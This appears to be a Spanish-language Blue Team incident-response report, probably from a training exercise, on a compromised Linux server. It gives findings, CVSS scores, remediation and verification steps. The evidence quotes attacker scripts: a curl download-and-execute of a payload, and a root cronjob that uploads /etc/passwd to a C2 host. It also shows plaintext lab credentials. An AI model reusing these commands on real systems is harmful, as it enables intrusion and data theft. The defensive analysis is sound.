

4Geeks Academy

Reporte Forense — Live Incident Response

Christopher García | Alejandro Franco | Adolfo Muñoz | Nestor Cáceres | Nataly Castañeda

Reporte:	4Geeks Academy — Live Incident Response sobre servidor comprometido.
Realizado por:	Equipo Blue Team — 4Geeks Academy
Realizado para:	4Geeks Academy (uso interno)
Sistema afectado:	4geeks-server (servidor Linux interno)
Tipo de incidente:	Compromiso del sistema · Exfiltración de datos sensibles
Enfoque metodológico:	Live Incident Response
Fecha:	17 de junio de 2026

La información confidencial contenida en este informe está destinada exclusivamente para el uso de los representantes internos de la organización. Por lo tanto, queda estrictamente prohibida su reproducción sin el previo consentimiento del autor o de la audiencia prevista.

Tanto este informe como todo el proceso de respuesta a incidentes fueron realizados por el equipo Blue Team de 4Geeks Academy.

Tabla de contenido

Tabla de contenido.....	2
Introducción.....	3
Objetivos.....	3
Convenciones utilizadas para valorar y categorizar cada hallazgo.....	4
Metodología.....	5
Scope.....	6
Resumen Ejecutivo.....	7
Conclusiones Generales.....	8
Detalles Técnicos.....	9
[Crítica] Acceso no autorizado por credenciales expuestas (CWE-256).....	10
[Crítica] Cuenta backdoor del atacante — usuario hacker (CWE-1108).....	12
[Crítica] Ejecución de payload por ingeniería social (CWE-829).....	14
[Crítica] Persistencia mediante cronjob malicioso (CWE-506).....	16
[Crítica] Exfiltración de datos sensibles a servidor C2 (CWE-200).....	18
[Alta] Artefactos maliciosos remanentes en /tmp (CWE-459).....	20
[Media] Servicios innecesarios expuestos — vsftpd / apache2 (CWE-1004).....	22
Acciones de Remediación Aplicadas.....	24
Comandos ejecutados.....	24
Eliminación de persistencia y artefactos.....	24
Revocación de accesos maliciosos.....	24
Hardening final del sistema.....	25
Verificación Final del Sistema.....	26
Comandos de verificación.....	26
Recomendaciones de Seguridad.....	27
Herramientas Utilizadas.....	28

Introducción

El presente informe de respuesta a incidentes describe los resultados de la investigación forense realizada sobre el servidor interno 4geeks-server de 4Geeks Academy, tras detectarse comportamientos anómalos que indicaban un compromiso activo del sistema. La investigación se llevó a cabo bajo un enfoque de Live Incident Response, sin apagar el sistema, con el objetivo de preservar evidencias volátiles y mantener la disponibilidad del servicio.

Previo al inicio formal de la respuesta, se notificó a los puntos de contacto técnicos de la organización para garantizar que todos los actores involucrados estuvieran informados sobre los riesgos, el nivel de esfuerzo y la duración prevista de la intervención. Durante el proceso, el equipo Blue Team identificó al atacante, reconstruyó la cadena de compromiso completa, documentó las evidencias y aplicó las medidas correctivas necesarias para restaurar la integridad del servidor.

Objetivos

El objetivo principal de esta respuesta a incidentes fue identificar el alcance del compromiso del servidor 4geeks-server, detectar las vulnerabilidades explotadas por el atacante, eliminar los mecanismos de persistencia implantados y restaurar la integridad del sistema sin interrupción del servicio. La investigación siguió una metodología orientada a preservar la evidencia digital, mantener la trazabilidad de cada acción y producir un reporte documentado para futuras referencias y procesos posteriores.

Como objetivos específicos se plantearon: inspeccionar el sistema en tiempo real para identificar usuarios, procesos y archivos anómalos; reconstruir la cadena completa del ataque desde el vector inicial hasta el impacto; localizar y eliminar los mecanismos de persistencia; revocar accesos maliciosos e invalidar credenciales comprometidas; reducir la superficie de ataque del servidor; y elaborar un informe profesional con hallazgos, evidencias técnicas y recomendaciones.

Convenciones utilizadas para valorar y categorizar cada hallazgo

Para valorar la severidad de cada hallazgo se emplea el sistema de calificación CVSS v3, diseñado para ofrecer un método estándar y abierto que permite evaluar el impacto de las vulnerabilidades y eventos de seguridad identificados en tecnologías de la información. Este sistema cuantifica la gravedad de los hallazgos utilizando una escala que va del 0 al 10.

Según el puntaje obtenido mediante la fórmula CVSS, se puede determinar el nivel de impacto:

- Para puntajes entre 0.0 y 3.9, la severidad se considera baja.
- Para puntajes entre 4.0 y 6.9, la severidad es media.
- Para puntajes entre 7.0 y 8.9, la severidad es alta.
- Para puntajes entre 9.0 y 10, la severidad es crítica.

Adicionalmente, el equipo complementa el puntaje CVSS con una categorización por código de colores (Crítica, Alta, Media, Baja) para clasificar los hallazgos según su impacto en el negocio. La siguiente tabla presenta dicha clasificación:

CRÍTICA	ALTA	MEDIA	BAJA
9.0 — 10.0	7.0 — 8.9	4.0 — 6.9	0.0 — 3.9

Gráfico 1 Clasificación de severidad

Metodología

Como equipo Blue Team, reconocemos la importancia de utilizar frameworks y metodologías probadas en la industria para la respuesta a incidentes. La investigación se estructuró siguiendo las fases reconocidas a nivel mundial para incident response, alineadas con la guía NIST SP 800-61 "Computer Security Incident Handling Guide" y con prácticas estándar de análisis forense en sistemas vivos.

La metodología aplicada integró las siguientes etapas:

- Preparación e identificación inicial del incidente.
- Análisis en vivo del sistema comprometido (Live Response).
- Reconocimiento y enumeración de usuarios, procesos y servicios.
- Análisis del historial de comandos y logs del sistema.
- Identificación del vector inicial del ataque.
- Localización de mecanismos de persistencia (cronjobs, scripts, usuarios).
- Análisis de artefactos en directorios temporales.
- Reconstrucción de la línea de tiempo del incidente.
- Contención y erradicación de la amenaza.
- Recuperación e implementación de hardening.
- Documentación y lecciones aprendidas.

Esta metodología permite cubrir tanto los aspectos técnicos como los procedimentales del incidente, asegurando la preservación de la cadena de custodia de las evidencias y proporcionando resultados sólidos y confiables.

Scope

Para realizar la respuesta al incidente sobre el servidor de 4Geeks Academy, se define el alcance de la investigación como el siguiente:

- Servidor afectado: 4geeks-server (Linux Debian).
- Sistema de archivos local (/etc, /home, /tmp, /opt, /usr/local/bin, /var/log).
- Logs del sistema (syslog, auth.log, bash_history).
- Servicios activos (cron, vsftpd, apache2, sshd).
- Usuarios y grupos del sistema.

Resumen Ejecutivo

Durante la ejecución de la respuesta a incidentes, el equipo Blue Team ha detectado múltiples vulnerabilidades críticas mediante las cuales se comprometió la integridad, confidencialidad y disponibilidad del servidor 4geeks-server. A continuación, se encuentra un breve resumen de los hallazgos realizados:

El equipo identificó cinco vulnerabilidades de impacto crítico. La primera vulnerabilidad hallada fue el **Acceso no autorizado por credenciales expuestas (CWE-256)** — un archivo con credenciales en texto plano almacenado en `/opt/.archive/credentials.txt` permitió al atacante obtener acceso inicial al sistema.

Por otra parte, se detectó la **Cuenta backdoor del atacante — usuario hacker (CWE-1108)**, que confirmó la existencia de una escalada de privilegios sobre el servidor.

Adicionalmente, se identificaron la **Ejecución de payload por ingeniería social (CWE-829)**, la **Persistencia mediante cronjob malicioso (CWE-506)**, y la **Exfiltración de datos sensibles a servidor C2 (CWE-200)**, con cinco eventos de exfiltración confirmados en los logs del sistema.

También se detectó una vulnerabilidad de impacto alto: **Artefactos maliciosos remanentes en /tmp (CWE-459)**, y una de impacto medio: **Servicios innecesarios expuestos — vsftpd / apache2 (CWE-1004)**.

Conclusiones Generales

Durante la realización de la respuesta al incidente, se identificaron un total de siete hallazgos relevantes, de los cuales cinco fueron clasificados como críticos, uno como alto y uno como medio. Estos hallazgos representan riesgos significativos para la seguridad y la integridad del sistema, y requirieron acción inmediata para su mitigación.

A continuación se presenta el recuento total de hallazgos por severidad:

CRÍTICA	ALTA	MEDIA	BAJA
5	1	1	0

Gráfico 2 Recuento total de hallazgos por severidad

Todos los hallazgos críticos fueron remediados mediante las 7 acciones aplicadas durante la fase de erradicación. El sistema fue restaurado y endurecido sin interrumpir el servicio.

Detalles Técnicos

En el transcurso de la sección de detalles técnicos se explicará en qué consiste cada hallazgo y se desarrolla su análisis forense y la concatenación entre cada uno para formar la cadena completa del ataque. Además, se recomienda que **4Geeks Academy** adopte las medidas correctivas indicadas en cada hallazgo para reforzar la postura de seguridad de su infraestructura.

[Crítica] Acceso no autorizado por credenciales expuestas (CWE-256)

CVSS Vector

AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS Score

9.3

Componentes Afectados

- /opt/.archive/credentials.txt
- Usuario reports (UID 1001)

Descripción

Se identificó un archivo de credenciales almacenado en texto plano en la ruta `/opt/.archive/credentials.txt`, el cual contenía las credenciales del usuario **reports** (reports:reports123). Este archivo era accesible para el usuario reports, lo que permitió al atacante leerlo y obtener un primer acceso autenticado al sistema.

El almacenamiento de credenciales sin cifrar en el sistema de archivos representa una de las prácticas inseguras más explotadas por atacantes. Cualquier proceso o usuario con acceso de lectura sobre el archivo puede obtener las credenciales sin necesidad de técnicas avanzadas.

Remediación

Para prevenir este tipo de vulnerabilidades se deben tomar las precauciones necesarias, entre estas se encuentran:

- Nunca almacenar credenciales en texto plano en el sistema de archivos.
- Utilizar un gestor de secretos centralizado como HashiCorp Vault o AWS Secrets Manager.
- Aplicar el principio de mínimo privilegio sobre archivos sensibles.
- Implementar autenticación multifactor (MFA) para que las credenciales filtradas no sean suficientes para acceder.

Explotación

El equipo Blue Team identificó la existencia del archivo durante la fase de reconocimiento forense del sistema comprometido. A continuación se documenta el proceso:

Paso 1: Se enumeran los usuarios con shell interactiva del sistema:

```
sysadmin@server:~$ awk -F: '$7 ~ /bash|sh|zsh/ {print $1, $7}' /etc/passwd
root      /bin/bash
sysadmin  /bin/bash
reports   /bin/bash      # sospechoso
hacker    /bin/bash      # malicioso
```

Figura 1 Enumeración de usuarios con shell del sistema

Paso 2: Se inspecciona el historial de comandos del usuario reports:

```
sysadmin@server:~$ sudo cat /home/reports/.bash_history
cat /opt/.archive/credentials.txt
wget http://192.168.1.100/install.sh
chmod +x install.sh && ./install.sh
nano backup.log
```

Figura 2 Historial de comandos del usuario reports

Paso 3: Se confirma el contenido del archivo de credenciales:

```
sysadmin@server:~$ sudo cat /opt/.archive/credentials.txt
reports:reports123
```

Figura 3 Credenciales expuestas en texto plano

Impacto

Mediante este hallazgo, un atacante obtuvo acceso autenticado al sistema sin necesidad de explotar ninguna vulnerabilidad técnica. Este fue el vector inicial de toda la cadena de compromiso documentada en los siguientes hallazgos.

Referencias

- CWE-256: <https://cwe.mitre.org/data/definitions/256.html>
- NIST SP 800-53 IA-5: Authenticator Management.

[Crítica] Cuenta backdoor del atacante — usuario hacker (CWE-1108)

CVSS Vector

AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

CVSS Score

9.6

Componentes Afectados

- Usuario hacker (UID 1002)
- /etc/passwd, /etc/shadow

Descripción

Se identificó la presencia del usuario **hacker** (UID 1002) con shell interactiva /bin/bash. Esta cuenta no corresponde a ningún usuario legítimo de la organización, su nombre evidencia intención maliciosa y su historial de comandos fue limpiado por el atacante para dificultar la investigación. Su sola existencia confirma que el atacante logró escalar privilegios y crear una cuenta persistente sobre el servidor.

Remediación

- Eliminar la cuenta hacker y todos sus archivos asociados.
- Auditar /etc/passwd periódicamente para detectar usuarios no autorizados.
- Configurar alertas en el SIEM para la creación de nuevos usuarios con UID > 1000.
- Implementar control de acceso basado en roles (RBAC).

Explotación

El equipo Blue Team identificó la cuenta durante la enumeración forense del sistema.

Paso 1: Inspección de cuentas con shell del sistema:

```
sysadmin@server:~$ grep -E "bash|sh" /etc/passwd
root:x:0:0:root:/root:/bin/bash
sysadmin:x:1000:1000:Admin:/home/sysadmin:/bin/bash
reports:x:1001:1001::/home/reports:/bin/bash
hacker:x:1002:1002::/home/hacker:/bin/bash
```

Figura 4 Identificación de la cuenta hacker en /etc/passwd

Paso 2: Verificación del historial de comandos del usuario:

```
sysadmin@server:~$ sudo cat /home/hacker/.bash_history
sysadmin@server:~$ sudo ls -la /home/hacker/
--> historial vacío, archivos minimizados
```

Figura 5 Historial del usuario hacker borrado intencionalmente

Impacto

Mediante esta cuenta, el atacante mantuvo un punto de acceso persistente con shell interactiva. Aunque el historial fue limpiado, la cuenta permitía retornar al sistema en cualquier momento. Este hallazgo demuestra que el atacante logró persistencia a nivel de usuarios además de la persistencia mediante cronjob.

Referencias

- CWE-1108: <https://cwe.mitre.org/data/definitions/1108.html>
- MITRE ATT&CK T1136 — Create Account.

[Crítica] Ejecución de payload por ingeniería social (CWE-829)

CVSS Vector

AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

CVSS Score

9.0

Componentes Afectados

- Usuario reports
- /home/reports/chat.txt
- /home/reports/install.sh
- /tmp/.temp/payload

Descripción

Se identificó que el usuario reports fue inducido por correo electrónico externo a ejecutar un script malicioso. El archivo `/home/reports/chat.txt` documenta la comunicación recibida desde la dirección externa `unknown@externalmail.com`, donde se instruyó al usuario a ejecutar un supuesto "script de mantenimiento". Tras la ejecución, el script descargó un payload binario desde el servidor de comando y control `192.168.1.100`.

Remediación

- Implementar capacitación periódica contra ingeniería social y phishing para todos los usuarios.
- Configurar filtros de correo electrónico que detecten y bloqueen mensajes provenientes de dominios externos sospechosos.
- Restringir la ejecución de scripts descargados desde fuentes externas mediante AppArmor o SELinux.
- Implementar listas blancas de aplicaciones autorizadas (application whitelisting).
- Bloquear conexiones salientes a IPs no autorizadas mediante reglas de firewall.

Explotación

El equipo Blue Team reconstruyó la cadena de ejecución del payload a partir del historial de comandos y los archivos remanentes.

Paso 1: Se inspecciona el archivo de comunicación externa:

```
sysadmin@server:~$ cat /home/reports/chat.txt
De: unknown@externalmail.com
```

```
Para: reports@4geeks.internal
Asunto: Script de mantenimiento urgente

Ejecuta el script adjunto para aplicar el
parche de mantenimiento del servidor...
```

Figura 6 Correo de ingeniería social que indujo la ejecución del payload

Paso 2: Se analiza el script install.sh ejecutado por el usuario:

```
sysadmin@server:~$ cat /home/reports/install.sh
#!/bin/bash
curl -s http://192.168.1.100/payload.bin -o /tmp/.temp/payload
chmod +x /tmp/.temp/payload
/tmp/.temp/payload &
```

Figura 7 Contenido del script install.sh descargado del C2

Paso 3: Se confirma la presencia del payload binario en /tmp/:

```
sysadmin@server:~$ ls -la /tmp/.temp/
-rwxr-xr-x 1 reports reports 12480 payload
```

Figura 8 Payload binario remanente en /tmp/.temp/

Impacto

La ejecución del payload permitió al atacante establecer un canal de comunicación con el servidor C2 (192.168.1.100), instalar mecanismos de persistencia adicionales y comenzar la exfiltración de datos sensibles. Este hallazgo demuestra cómo la combinación de un componente humano vulnerable con credenciales débiles permite eludir controles técnicos.

Referencias

- CWE-829: <https://cwe.mitre.org/data/definitions/829.html>
- MITRE ATT&CK T1566 — Phishing.

[Crítica] Persistencia mediante cronjob malicioso (CWE-506)

CVSS Vector

AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

CVSS Score

9.1

Componentes Afectados

- /etc/cron.d/sys-maintenance
- /usr/local/bin/backup2.sh

Descripción

Se identificó un cronjob malicioso registrado en /etc/cron.d/sys-maintenance que se ejecutaba como usuario root cada 15 minutos. El cronjob invocaba el script /usr/local/bin/backup2.sh el cual empaquetaba el archivo /etc/passwd y lo enviaba al servidor C2 externo. Este mecanismo aseguraba la exfiltración continua de información del sistema incluso si el atacante perdía el acceso interactivo.

Remediación

- Eliminar el cronjob malicioso y su script asociado.
- Auditar regularmente /etc/cron.d/, /etc/cron.daily/, /etc/cron.hourly/ y los crontabs de usuario.
- Configurar monitoreo continuo de cambios en /etc/cron.* mediante AIDE o Tripwire.
- Implementar alertas en el SIEM para la creación o modificación de cronjobs ejecutados como root.

Explotación

El equipo Blue Team identificó el cronjob durante la inspección de los mecanismos de persistencia.

Paso 1: Inspección de los cronjobs del sistema:

```
sysadmin@server:~$ sudo cat /etc/cron.d/sys-maintenance
*/15 * * * * root /usr/local/bin/backup2.sh
```

Figura 9 Cronjob malicioso ejecutado cada 15 minutos como root

Paso 2: Análisis del contenido del script invocado:


```
sysadmin@server:~$ sudo cat /usr/local/bin/backup2.sh
#!/bin/bash
tar -czf /tmp/secrets.tgz /etc/passwd
curl -X POST -F 'file=@/tmp/secrets.tgz' \
    http://192.168.1.100:8080/upload
```

Figura 10 Script de exfiltración invocado por el cronjob

Impacto

Este cronjob garantizaba la persistencia del atacante y la exfiltración continua de información del sistema cada 15 minutos. Los logs confirman cinco ejecuciones exitosas a las 22:15, 22:30, 22:45, 23:00 y 23:15 horas. Cada ejecución implicó el envío del archivo /etc/passwd al servidor C2.

Referencias

- CWE-506: <https://cwe.mitre.org/data/definitions/506.html>
- MITRE ATT&CK T1053.003 — Scheduled Task/Job: Cron.

[Crítica] Exfiltración de datos sensibles a servidor C2 (CWE-200)

CVSS Vector

AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N

CVSS Score

9.0

Componentes Afectados

- /etc/passwd
- /etc/shadow
- Conexión saliente a 192.168.1.100:8080

Descripción

Se confirmaron al menos cinco eventos de exfiltración de información sensible hacia el servidor de comando y control 192.168.1.100 a través del puerto 8080. Los logs del sistema y el archivo `backup.log` del atacante confirman que se exfiltraron tanto `/etc/passwd` como `/etc/shadow`, lo que implica que todos los hashes de contraseñas del sistema han sido comprometidos.

Remediación

- Bloquear la IP 192.168.1.100 en el firewall perimetral e interno.
- Renovar inmediatamente todas las contraseñas del sistema (root, sysadmin y cualquier otra cuenta con hash comprometido).
- Implementar monitoreo de tráfico saliente y políticas DLP (Data Loss Prevention).
- Configurar reglas IDS/IPS para detectar transferencias anómalas de archivos sensibles.

Explotación

El equipo Blue Team verificó la exfiltración a partir de los logs del sistema y los artefactos remanentes.

Paso 1: Análisis del archivo de log del atacante:

```
sysadmin@server:~$ sudo cat /home/reports/backup.log
[INFO] Compressing /etc/shadow...
[INFO] Uploading to 192.168.1.100:8080
[OK] Backup completed
```

Figura 11 Log del atacante confirmando la exfiltración

Paso 2: Línea de tiempo de las ejecuciones del cronjob según syslog:

Hora	Evento
22:15	Exfiltración #1 — primera carga al C2.
22:30	Exfiltración #2 — carga exitosa.
22:45	Exfiltración #3 — repetida.
23:00	Exfiltración #4 — repetida.
23:15	Exfiltración #5 — detección y activación del equipo de IR.

Figura 12 Línea de tiempo de los eventos de exfiltración registrados en syslog

Paso 3: Verificación del archivo exfiltrado presente en /tmp:

```
sysadmin@server:~$ ls -la /tmp/secrets.tgz
-rw-r--r-- 1 root root 2360 /tmp/secrets.tgz
sysadmin@server:~$ sudo tar -tzf /tmp/secrets.tgz
etc/passwd
```

Figura 13 Artefacto de exfiltración remanente en /tmp

Impacto

Todos los hashes de contraseñas del sistema (/etc/shadow) y la información de usuarios (/etc/passwd) fueron comprometidos y exfiltrados. Esto obliga a renovar todas las credenciales del sistema y asumir que el atacante posee información detallada sobre la estructura de usuarios del servidor para ataques futuros.

Referencias

- CWE-200: <https://cwe.mitre.org/data/definitions/200.html>
- MITRE ATT&CK T1041 — Exfiltration Over C2 Channel.

[Alta] Artefactos maliciosos remanentes en /tmp (CWE-459)

CVSS Vector

AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

CVSS Score

7.1

Componentes Afectados

- /tmp/.temp/
- /tmp/secrets.tgz
- /tmp/etc/

Descripción

Durante la inspección del directorio /tmp se identificaron múltiples artefactos remanentes del proceso de ataque: el directorio /tmp/.temp/ contenía el payload binario descargado del C2, /tmp/secrets.tgz era el archivo de exfiltración a la espera de ser enviado, y /tmp/etc/ contenía residuos del proceso de empaquetado. Aunque /tmp se limpia con frecuencia, su contenido en el momento del análisis evidenciaba actividad maliciosa activa.

Remediación

- Eliminar todos los artefactos identificados en /tmp.
- Configurar /tmp como tmpfs con la opción noexec para evitar la ejecución de binarios desde allí.
- Implementar monitoreo de creación de archivos ejecutables en directorios temporales.

Explotación

La inspección del directorio /tmp reveló los artefactos del atacante.

```
sysadmin@server:~$ sudo ls -la /tmp/
drwxr-xr-x  reports  reports  /tmp/.temp/
-rw-r--r--  root      root     /tmp/secrets.tgz
drwxr-xr-x  root      root     /tmp/etc/
```

Figura 14 Artefactos del atacante remanentes en /tmp

Impacto

Los artefactos remanentes en /tmp proporcionan al atacante una zona de trabajo persistente para ejecutar payloads y preparar exfiltraciones. Adicionalmente sirven como evidencia clave para reconstruir el ataque.

Referencias

- CWE-459: <https://cwe.mitre.org/data/definitions/459.html>

[Media] Servicios innecesarios expuestos — vsftpd / apache2 (CWE-1004)

CVSS Vector

AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

CVSS Score

5.3

Componentes Afectados

- vsftpd.service
- apache2.service

Descripción

Durante el análisis se identificaron servicios habilitados sin uso legítimo en la operación: vsftpd (servidor FTP) y apache2 (servidor web). Ambos servicios ampliaban innecesariamente la superficie de ataque del servidor sin aportar valor a la operación.

Remediación

- Detener y deshabilitar todos los servicios que no sean estrictamente necesarios.
- Cerrar puertos asociados en el firewall.
- Implementar políticas de hardening del sistema basadas en CIS Benchmarks.
- Realizar auditorías periódicas de servicios activos.

Explotación

Identificación de servicios activos en el sistema:

```
sysadmin@server:~$ systemctl list-units --state=running --type=service
vsftpd.service      active running
apache2.service     active running
... (otros servicios)
```

Figura 15 Servicios innecesarios activos en el sistema

Impacto

Mediante este hallazgo, la superficie de ataque del servidor se incrementa innecesariamente. Cualquier vulnerabilidad futura en vsftpd o apache2 podría ser aprovechada por un atacante para obtener acceso al sistema.

Referencias

- CWE-1004: <https://cwe.mitre.org/data/definitions/1004.html>
- CIS Benchmark for Debian Linux.

Acciones de Remediación Aplicadas

Una vez documentados los hallazgos, el equipo Blue Team ejecutó siete acciones de remediación orientadas a eliminar la presencia del atacante, revocar accesos, invalidar credenciales comprometidas y reducir la superficie de ataque del servidor. Cada acción fue verificada inmediatamente después de su ejecución.

#	Acción	Descripción
1	Eliminar el cronjob malicioso	/etc/cron.d/sys-maintenance fue eliminado, cortando la persistencia de exfiltración.
2	Eliminar el script de exfiltración	/usr/local/bin/backup2.sh fue eliminado, deteniendo el envío periódico de datos al C2.
3	Limpiar artefactos en /tmp	/tmp/.temp/, secrets.tgz y /tmp/etc/ fueron eliminados, removiendo los artefactos del atacante.
4	Eliminar los usuarios maliciosos	Los usuarios hacker y reports fueron eliminados junto con sus directorios home.
5	Eliminar las credenciales expuestas	/opt/.archive/credentials.txt fue eliminado, cerrando el vector de entrada inicial.
6	Renovar contraseñas comprometidas	Las contraseñas de sysadmin y root fueron renovadas, invalidando los hashes exfiltrados.
7	Deshabilitar servicio vsftpd	vsftpd fue detenido y deshabilitado permanentemente para reducir la superficie de ataque.

Comandos ejecutados

Eliminación de persistencia y artefactos

```
# 1. Eliminar cronjob malicioso
$ sudo rm /etc/cron.d/sys-maintenance
$ ls -la /etc/cron.d/      # sys-maintenance ya no aparece

# 2. Eliminar script de exfiltración
$ sudo rm /usr/local/bin/backup2.sh

# 3. Limpiar artefactos en /tmp
$ sudo rm -rf /tmp/.temp/ /tmp/secrets.tgz /tmp/etc/
```

Figura 16 Comandos de eliminación de persistencia y artefactos

Revocación de accesos maliciosos

```
# 4. Eliminar usuarios maliciosos
$ sudo userdel -r hacker
$ sudo userdel -r reports

# 5. Eliminar credenciales expuestas
$ sudo rm /opt/.archive/credentials.txt
```

Figura 17 Comandos de revocación de accesos y credenciales

Hardening final del sistema

```
# 6. Renovar contraseñas
$ sudo passwd sysadmin
$ sudo passwd root

# 7. Deshabilitar FTP
$ sudo systemctl stop vsftpd
$ sudo systemctl disable vsftpd
```

Figura 18 Comandos de hardening final del sistema

Verificación Final del Sistema

Tras la ejecución de las acciones de remediación, se realizó una verificación integral del estado del sistema para confirmar que todas las amenazas fueron neutralizadas y que el servidor se encontraba en un estado limpio y endurecido.

OK	Verificación	Resultado
✓	Cronjob sys-maintenance eliminado	/etc/cron.d/ limpio — sin entradas maliciosas.
✓	Script backup2.sh eliminado	/usr/local/bin/ libre del script de exfiltración.
✓	Artefactos /tmp eliminados	/tmp sin secrets.tgz ni directorios maliciosos.
✓	Usuarios hacker y reports eliminados	Solo root y sysadmin con shell interactiva.
✓	Credenciales expuestas eliminadas	/opt/.archive/ sin credentials.txt.
✓	Contraseñas renovadas	sysadmin y root — hashes comprometidos invalidados.
✓	vsftpd detenido y deshabilitado	Estado: inactive (dead) — superficie de ataque reducida.

Comandos de verificación

```
# Sin cronjobs maliciosos
$ ls -la /etc/cron.d/
cron.daily  cron.hourly  cron.monthly      # limpio

# Solo usuarios legítimos
$ awk -F: '$7~/bash/ {print $1,$7}' /etc/passwd
root /bin/bash
sysadmin /bin/bash

# Sin procesos maliciosos
$ ps aux | grep -E "payload|hacker|reports"
sin coincidencias — sistema limpio

# vsftpd inactivo
$ systemctl list-units --state=running | grep vsftpd
sin resultados
```

Figura 19 Verificación final del estado del sistema

Recomendaciones de Seguridad

Con base en los hallazgos documentados, se emiten las siguientes recomendaciones para fortalecer la postura de seguridad del entorno y prevenir incidentes similares en el futuro:

1. Gestión de credenciales

Nunca almacenar credenciales en texto plano. Implementar un gestor de secretos centralizado como HashiCorp Vault o AWS Secrets Manager. El archivo `credentials.txt` fue el punto de entrada inicial del atacante.

2. Autenticación

Implementar autenticación multifactor (MFA) y política de contraseñas robustas. La cuenta `reports` con contraseña débil (`reports123`) facilitó el acceso inicial del atacante.

3. Monitoreo continuo

Auditar regularmente `/etc/cron.d/`, `/etc/cron.*/`, procesos activos y conexiones salientes para detectar persistencias maliciosas y comunicación con servidores C2.

4. Principio de mínimo privilegio

El usuario `reports` no debería tener acceso a `/opt/archive/`. Revisar y restringir permisos sobre carpetas y archivos sensibles según el rol de cada usuario.

5. Hardening del sistema

Deshabilitar servicios no utilizados. `vsftpd` y `apache2` estaban activos sin uso legítimo. Cualquier servicio expuesto representa superficie de ataque innecesaria.

6. Concientización contra ingeniería social

Capacitación periódica contra ingeniería social y phishing para todos los usuarios. El usuario `reports` fue inducido por correo a ejecutar el script malicioso.

7. Implementación de SIEM/EDR

Una solución de monitoreo centralizada habría detectado la exfiltración recurrente al servidor C2 dentro de los primeros minutos en lugar de una hora.

8. Control de tráfico saliente

Configurar reglas de firewall que restrinjan las conexiones salientes a IPs y dominios autorizados. Implementar políticas DLP (Data Loss Prevention) para detectar transferencias anómalas.

Herramientas Utilizadas

Durante el proceso de respuesta a incidentes se utilizaron herramientas nativas del sistema operativo para minimizar la huella sobre el entorno comprometido y preservar la integridad de la evidencia. Las principales herramientas empleadas fueron:

- **awk:** <https://www.gnu.org/software/gawk/> — análisis y extracción de campos de archivos del sistema.
 - **grep:** <https://www.gnu.org/software/grep/> — búsqueda de patrones en archivos y logs.
 - **cat / less:** — inspección de contenido de archivos del sistema.
 - **ls / stat:** — análisis de archivos, permisos y propietarios.
 - **ps / top:** — análisis de procesos en ejecución.
 - **systemctl:** — gestión y verificación de servicios del sistema.
 - **crontab:** — inspección y eliminación de tareas programadas.
 - **userdel / passwd:** — gestión de cuentas de usuario.
 - **syslog / journalctl:** — análisis de logs del sistema y servicios.
 - **tar / file:** — análisis de archivos comprimidos y tipos de archivo.
-